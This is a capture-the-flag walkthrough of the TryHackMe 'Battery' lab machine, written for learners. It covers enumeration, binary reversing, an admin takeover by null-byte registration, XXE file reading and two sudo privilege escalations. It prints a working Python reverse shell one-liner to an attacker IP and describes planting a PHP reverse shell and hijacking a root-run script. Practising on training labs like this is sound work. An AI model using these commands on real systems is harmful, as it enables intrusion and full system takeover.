Battery TryHackMe Walkthrough
Battery is a medium level machine from TryHackMe. In this article, I will be sharing all the different ways to solve this challenge. This machine was created by my fellow friend golith3r00t. Let's Begin!
Challenge Link: https://tryhackme.com/room/battery
Initial Enumeration and Network Scan
I started the initial enumeration by running a port scan looking for open ports and running services.
┌──(madhav㉿kali)-[~/ctf/thm/battery]
└─$ nmap -sC -sV -oN nmap/initial 10.10.69.70
Starting Nmap 7.93 ( https://nmap.org ) at 2022-12-17 14:43 IST
Nmap scan report for 10.10.69.70
Host is up (0.19s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 6.6.1p1 Ubuntu 2ubuntu2 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 1024 146b674c1e89ebcd47a2406f5f5c8cc2 (DSA)
| 2048 6642f791e47bc67e4717c627a7bc6e73 (RSA)
| 256 a86a92ca12af8542e49c2b0eb5fba88b (ECDSA)
|_ 256 62e4a3f6c619ad300a30a1eb4ad312d3 (ED25519)
80/tcp open http Apache httpd 2.4.7 ((Ubuntu))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.7 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.53 seconds
There are only two ports open. We have SSH running on port 22 and Apache httpd web server running on port 80.
Web Enumeration
Let us start the enumeration with port 80 first.
There is not much information on the homepage. Next, I started a gobuster scan to look for hidden files and directories.
┌──(madhav㉿kali)-[~/ctf/thm/battery]
└─$ gobuster dir -u http://10.10.69.70 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x .html,.php,.txt
===============================================================
Gobuster v3.3
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.69.70
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.3
[+] Extensions: html,php,txt
[+] Timeout: 10s
===============================================================
2022/12/17 14:53:41 Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 283]
/index.html (Status: 200) [Size: 406]
/.php (Status: 403) [Size: 282]
/register.php (Status: 200) [Size: 715]
/admin.php (Status: 200) [Size: 663]
/scripts (Status: 301) [Size: 311] [--> http://10.10.69.70/scripts/]
/forms.php (Status: 200) [Size: 2334]
/report (Status: 200) [Size: 16912]
/logout.php (Status: 302) [Size: 0] [--> admin.php]
/dashboard.php (Status: 302) [Size: 908] [--> admin.php]
/acc.php (Status: 200) [Size: 1104]
/with.php (Status: 302) [Size: 1259] [--> admin.php]
===============================================================
2022/12/17 15:12:40 Finished
===============================================================
I started visiting all the pages one by one. We have an admin.php
which is a login page. We also have a /register.php
where we can create a new account. We also have a /scripts
directory which contains some jquery scripts.
Let us try registering a new user on /register.php
.
After completing the registration, we can login at /admin.php
and it then redirects us to the /dashboard.php
.
When we try visiting My account or command page, it gives us a pop up saying that "Only Admins can access this page!". We need to find a way to login as the admin user.
Reversing the report binary using Ghidra
When we visit /report
directory, it downloads an executable file.
┌──(madhav㉿kali)-[~/ctf/thm/battery]
└─$ file report
report: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=44ffe4e81d688f7b7fe59bdf74b03f828a4ef3fe, for GNU/Linux 3.2.0, not stripped
When we execute this file, it asks for a username and password. I tried some admin:admin
but it did not work.
┌──(madhav㉿kali)-[~/ctf/thm/battery]
└─$ ./report
Welcome To ABC DEF Bank Managemet System!
UserName : admin
Password : admin
Wrong username or password
Let us try opening this file in ghidra.
In the main function, we can see that it compares the value which we enter with guest
. So the username and password is guest
. We can try running the binary file now but it does not contain anything useful.
What's interesting to us is the users
function. It contains the email addresses of all registered users.
You can also get this list by logging into the binary file using the creds which we found.
There is another function named update
which can be used to update the password of any user.
From the code we can see that only the admin can update the password for other users which means this is most probably the email address of the user admin.
Admin Account Takeover
I tried many different ways to register an account with username admin@bank.a
. We can create an account by adding a null character at the end of the username.
admin@bank.a%00
I captured the registration request in burpsuite and then replaced the uname
with admin@bank.a%00
.
Now we can login using the username admin@bank.a
and password admin
.
Next I visited the /forms.php
and captured the form request in burpsuite. We can see that it is sending the data in XML.
We can also see that the XML data which we sent is reflected in the response. This means the application is parsing the XML data in the backend. This can be vulnerable to XXE (XML Entity Injection) attack.
Exploiting the XXE Vulnerability
First of all, I tried reading the /etc/passwd
file. You can read more about this vulnerability here.
The response is base64 encoded. After decoding, we get the contents of /etc/passwd
file.
┌──(madhav㉿kali)-[~/ctf/thm/battery]
└─$ echo -n "cm9vdDp4OjA6MDpyb290Oi9yb290Oi9iaW4vYmFzaApkYWVtb246eDoxOjE6ZGFlbW9uOi91c3Ivc2JpbjovdXNyL3NiaW4vbm9sb2dpbgpiaW46eDoyOjI6YmluOi9iaW46L3Vzci9zYmluL25vbG9naW4Kc3lzOng6MzozOnN5czovZGV2Oi91c3Ivc2Jpbi9ub2xvZ2luCnN5bmM6eDo0OjY1NTM0OnN5bmM6L2JpbjovYmluL3N5bmMKZ2FtZXM6eDo1OjYwOmdhbWVzOi91c3IvZ2FtZXM6L3Vzci9zYmluL25vbG9naW4KbWFuOng6NjoxMjptYW46L3Zhci9jYWNoZS9tYW46L3Vzci9zYmluL25vbG9naW4KbHA6eDo3Ojc6bHA6L3Zhci9zcG9vbC9scGQ6L3Vzci9zYmluL25vbG9naW4KbWFpbDp4Ojg6ODptYWlsOi92YXIvbWFpbDovdXNyL3NiaW4vbm9sb2dpbgpuZXdzOng6OTo5Om5ld3M6L3Zhci9zcG9vbC9uZXdzOi91c3Ivc2Jpbi9ub2xvZ2luCnV1Y3A6eDoxMDoxMDp1dWNwOi92YXIvc3Bvb2wvdXVjcDovdXNyL3NiaW4vbm9sb2dpbgpwcm94eTp4OjEzOjEzOnByb3h5Oi9iaW46L3Vzci9zYmluL25vbG9naW4Kd3d3LWRhdGE6eDozMzozMzp3d3ctZGF0YTovdmFyL3d3dzovdXNyL3NiaW4vbm9sb2dpbgpiYWNrdXA6eDozNDozNDpiYWNrdXA6L3Zhci9iYWNrdXBzOi91c3Ivc2Jpbi9ub2xvZ2luCmxpc3Q6eDozODozODpNYWlsaW5nIExpc3QgTWFuYWdlcjovdmFyL2xpc3Q6L3Vzci9zYmluL25vbG9naW4KaXJjOng6Mzk6Mzk6aXJjZDovdmFyL3J1bi9pcmNkOi91c3Ivc2Jpbi9ub2xvZ2luCmduYXRzOng6NDE6NDE6R25hdHMgQnVnLVJlcG9ydGluZyBTeXN0ZW0gKGFkbWluKTovdmFyL2xpYi9nbmF0czovdXNyL3NiaW4vbm9sb2dpbgpub2JvZHk6eDo2NTUzNDo2NTUzNDpub2JvZHk6L25vbmV4aXN0ZW50Oi91c3Ivc2Jpbi9ub2xvZ2luCmxpYnV1aWQ6eDoxMDA6MTAxOjovdmFyL2xpYi9saWJ1dWlkOgpzeXNsb2c6eDoxMDE6MTA0OjovaG9tZS9zeXNsb2c6L2Jpbi9mYWxzZQptZXNzYWdlYnVzOng6MTAyOjEwNjo6L3Zhci9ydW4vZGJ1czovYmluL2ZhbHNlCmxhbmRzY2FwZTp4OjEwMzoxMDk6Oi92YXIvbGliL2xhbmRzY2FwZTovYmluL2ZhbHNlCnNzaGQ6eDoxMDQ6NjU1MzQ6Oi92YXIvcnVuL3NzaGQ6L3Vzci9zYmluL25vbG9naW4KY3liZXI6eDoxMDAwOjEwMDA6Y3liZXIsLCw6L2hvbWUvY3liZXI6L2Jpbi9iYXNoCm15c3FsOng6MTA3OjExMzpNeVNRTCBTZXJ2ZXIsLCw6L25vbmV4aXN0ZW50Oi9iaW4vZmFsc2UKeWFzaDp4OjEwMDI6MTAwMjosLCw6L2hvbWUveWFzaDovYmluL2Jhc2gK" | base64 -d
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
libuuid:x:100:101::/var/lib/libuuid:
syslog:x:101:104::/home/syslog:/bin/false
messagebus:x:102:106::/var/run/dbus:/bin/false
landscape:x:103:109::/var/lib/landscape:/bin/false
sshd:x:104:65534::/var/run/sshd:/usr/sbin/nologin
cyber:x:1000:1000:cyber,,,:/home/cyber:/bin/bash
mysql:x:107:113:MySQL Server,,,:/nonexistent:/bin/false
yash:x:1002:1002:,,,:/home/yash:/bin/bash
There are two users on this box. I tried reading their bash_history
and id_rsa
file but did not get anything. So next I started reading the webapp php files. I used the same trick to read acc.php
and found the SSH credentials of user cyber
.
Now we have the credentials for user cyber
and we can use them to login via SSH and read our first flag.
┌──(madhav㉿kali)-[~/ctf/thm/battery]
└─$ ssh cyber@10.10.99.196
The authenticity of host '10.10.99.196 (10.10.99.196)' can't be established.
ED25519 key fingerprint is SHA256:bTNXpvfykuLebPN3kSFZTMvEtACHZnk64YKhtu6tMKI.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.99.196' (ED25519) to the list of known hosts.
cyber@10.10.99.196's password:
Welcome to Ubuntu 14.04.1 LTS (GNU/Linux 3.13.0-32-generic x86_64)
* Documentation: https://help.ubuntu.com/
System information as of Sat Dec 17 20:43:09 IST 2022
System load: 3.48 Processes: 107
Usage of /: 2.4% of 68.28GB Users logged in: 0
Memory usage: 12% IP address for eth0: 10.10.99.196
Swap usage: 0%
Graph this data and manage this system at:
https://landscape.canonical.com/
Last login: Tue Nov 17 17:02:47 2020 from 192.168.29.248
cyber@ubuntu:~$ ls
flag1.txt run.py
cyber@ubuntu:~$ cat flag1.txt
THM{********************************}
Sorry I am not good in designing ascii art :(
Privilege Escalation and Root Shell
Method 1 (Exploiting sudo privileges)
If we run the sudo -l
command, we can see that the user cyber
can run a python script with root privileges.
cyber@ubuntu:~$ sudo -l
Matching Defaults entries for cyber on ubuntu:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User cyber may run the following commands on ubuntu:
(root) NOPASSWD: /usr/bin/python3 /home/cyber/run.py
So we can delete the previous run.py
file and create a new one with a reverse shell payload. Don't forget to start a listener for the same.
cyber@ubuntu:~$ rm -rf run.py
cyber@ubuntu:~$ cat run.py
import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.17.4.132",9001));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/sh")
Now we can use the sudo /usr/bin/python3 /home/cyber/run.py
command to execute the python script and we will get a root shell!
┌──(madhav㉿kali)-[~/ctf/thm/battery]
└─$ nc -lvnp 9001
listening on [any] 9001 ...
connect to [10.17.4.132] from (UNKNOWN) [10.10.99.196] 41120
# id
id
uid=0(root) gid=0(root) groups=0(root)
Method 2 (Exploiting writable apache2.conf)
The method shown above is very straightforward and it was added intentionally. There is another way of getting a root shell. This has been added so that you can learn more out of this challenge.
We do not have read permission on run.py
. So we cannot see what it does when we execute it. So I upload pspy on this machine to monitor the linux processes. We can see from the screenshot that when we execute run.py
it restarts the apache2 web server.
I enumerated more and checked for file permissions. I found out that /var/www/html
and /etc/apache2/apache2.conf
is writable.
cyber@ubuntu:~$ ls -l /var/www/
total 4
drwxrwxrwx 3 root root 4096 Nov 17 2020 html
cyber@ubuntu:~$ ls -l /etc/apache2/apache2.conf
-rwxrwxrwx 1 root root 7094 Nov 17 2020 /etc/apache2/apache2.conf
If we look closely at apache2.conf
, there are two interesting things that we can change.
We can change the user and group to yash
and then restart the server using run.py
. When the server restarts, the root user of apache2 will be yash
instead of www-data
.
Since, /var/www/html
folder is also writable, we can put our reverse shell there. Then we can access the reverse shell from the browser and we will get a shell as user yash
.
Step 1: Modifying /etc/apache2/apache.conf
Step 2: Executing run.py
as user root to restart the apache web server.
cyber@ubuntu:~$ sudo /usr/bin/python3 /home/cyber/run.py
Hey Cyber I have tested all the main components of our web server but something unusal happened from my end!
Step 3: Creating a reverse shell at /var/www/html
I downloaded the php-reverse-shell from pentestmonkey and uploaded it to /var/www/html
.
Don't forget to change the IP address and port and start a netcat listener.
Step 4: Executing the reverse shell in browser
We got a shell as user yash
!
┌──(madhav㉿kali)-[/opt/php-reverse-shell]
└─$ nc -lvnp 1337
listening on [any] 1337 ...
connect to [10.17.4.132] from (UNKNOWN) [10.10.99.196] 50734
Linux ubuntu 3.13.0-32-generic #57-Ubuntu SMP Tue Jul 15 03:51:08 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux
14:33:11 up 1:03, 1 user, load average: 0.00, 0.01, 0.05
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
cyber pts/0 ip-10-17-4-132.e 13:32 6:23 0.61s 0.61s -bash
uid=1002(yash) gid=1002(yash) groups=1002(yash)
/bin/sh: 0: can't access tty; job control turned off
$ python3 -c 'import pty;pty.spawn("/bin/bash")'
yash@ubuntu:/$
Now we can read our second flag present in the home directory of user yash
.
yash@ubuntu:/home/yash$ cat flag2.txt
cat flag2.txt
THM{********************************}
Sorry no ASCII art again :(
Root Shell
We have finally reached the last part of this challenge. In this part, we are given some files in the home directory of user yash
.
yash@ubuntu:/home/yash$ ls
ls
emergency.py fernet flag2.txt root.txt
yash@ubuntu:/home/yash$ cat root.txt
cat root.txt
Note from root :-
Hey Yash,
I Hope you are doing good , I just wanted to let you know that I am going on leave for 2 days ,
till then I have setup the permission to run some commands as user root , But Sorry , I forgot
your password , try to find it!!
-ENCRYPTI0N_15_U53D
We have a file named fernet
which contains a ciphertext and key. As the name of the file suggests, it is encrypted using fernet encryption.
We can decrypt this using any online decoder and it will give us the password for user yash
.
Once I got the password, I used sudo -l
command and found that user yash
can run emergency.py
as user root.
[sudo] password for yash:
Matching Defaults entries for yash on ubuntu:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User yash may run the following commands on ubuntu:
(root) PASSWD: /usr/bin/python3 /home/yash/emergency.py
I tried reading home/yash/emergency.py
, but we do not have permission to read the file. To get a root shell, we can delete this file and create a new emergency.py
which will contain the reverse shell payload and then execute it as user root.
Or we can solve it in another way. When we execute the original file using sudo
, it gives us some binary data.
yash@ubuntu:/home/yash$ sudo /usr/bin/python3 /home/yash/emergency.py
sudo /usr/bin/python3 /home/yash/emergency.py
[sudo] password for yash:
01110010 01100101 01100001 01100100 01101001 01101110 01100111 00100000 00101111 01101111 01110000 01110100 00101111 01100010 01101001 01101110 01110011 01101001 01100100 01100101 00100000 01100110 01101001 01101100 01100101
We can decode this using cyberchef. On decoding, it says reading /opt/binside
file.
I checked the /opt/binside
file. It does not contain anything, but we have the permission to write it!
So we can add /bin/bash
to /opt/binside
, it will be executed along with the emergency.py
.
yash@ubuntu:/home/yash$ echo /bin/bash > /opt/binside
yash@ubuntu:~$ sudo /usr/bin/python3 /home/yash/emergency.py
01110010 01100101 01100001 01100100 01101001 01101110 01100111 00100000 00101111 01101111 01110000 01110100 00101111 01100010 01101001 01101110 01110011 01101001 01100100 01100101 00100000 01100110 01101001 01101100 01100101
checking if you are a human.....................Test Passed [\u2714]
We did not get a root shell because it says we are humans lol. We can try adding the same data in binary.
yash@ubuntu:~$ echo "00101111 01100010 01101001 01101110 00101111 01100010 01100001 01110011 01101000" > /opt/binside
yash@ubuntu:~$ sudo /usr/bin/python3 /home/yash/emergency.py
01110010 01100101 01100001 01100100 01101001 01101110 01100111 00100000 00101111 01101111 01110000 01110100 00101111 01100010 01101001 01101110 01110011 01101001 01100100 01100101 00100000 01100110 01101001 01101100 01100101
checking if you are a human...................Test Failed [\u2718]
root@ubuntu:~# id
uid=0(root) gid=0(root) groups=0(root)
We are root! Now we can read the final flag present in the /root
directory.
root@ubuntu:/root# cat root.txt
████████████████████████████████████
██ ██
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ████ ████ ████ ████ ████ ████
██ ██
████████████████████████████████████
battery designed by cyberbot :)
Please give your reviews on catch_me75@protonmail.com or discord cyberbot#1859
THM{********************************}
That's it! Thanks for reading. If you have any doubts/suggestions, you can share them below in the comments, I will be happy to help!
Stay tuned for similar walkthroughs and much more coming up in the near future!
NOTE: The awesome artwork used in this article was created by chubasan.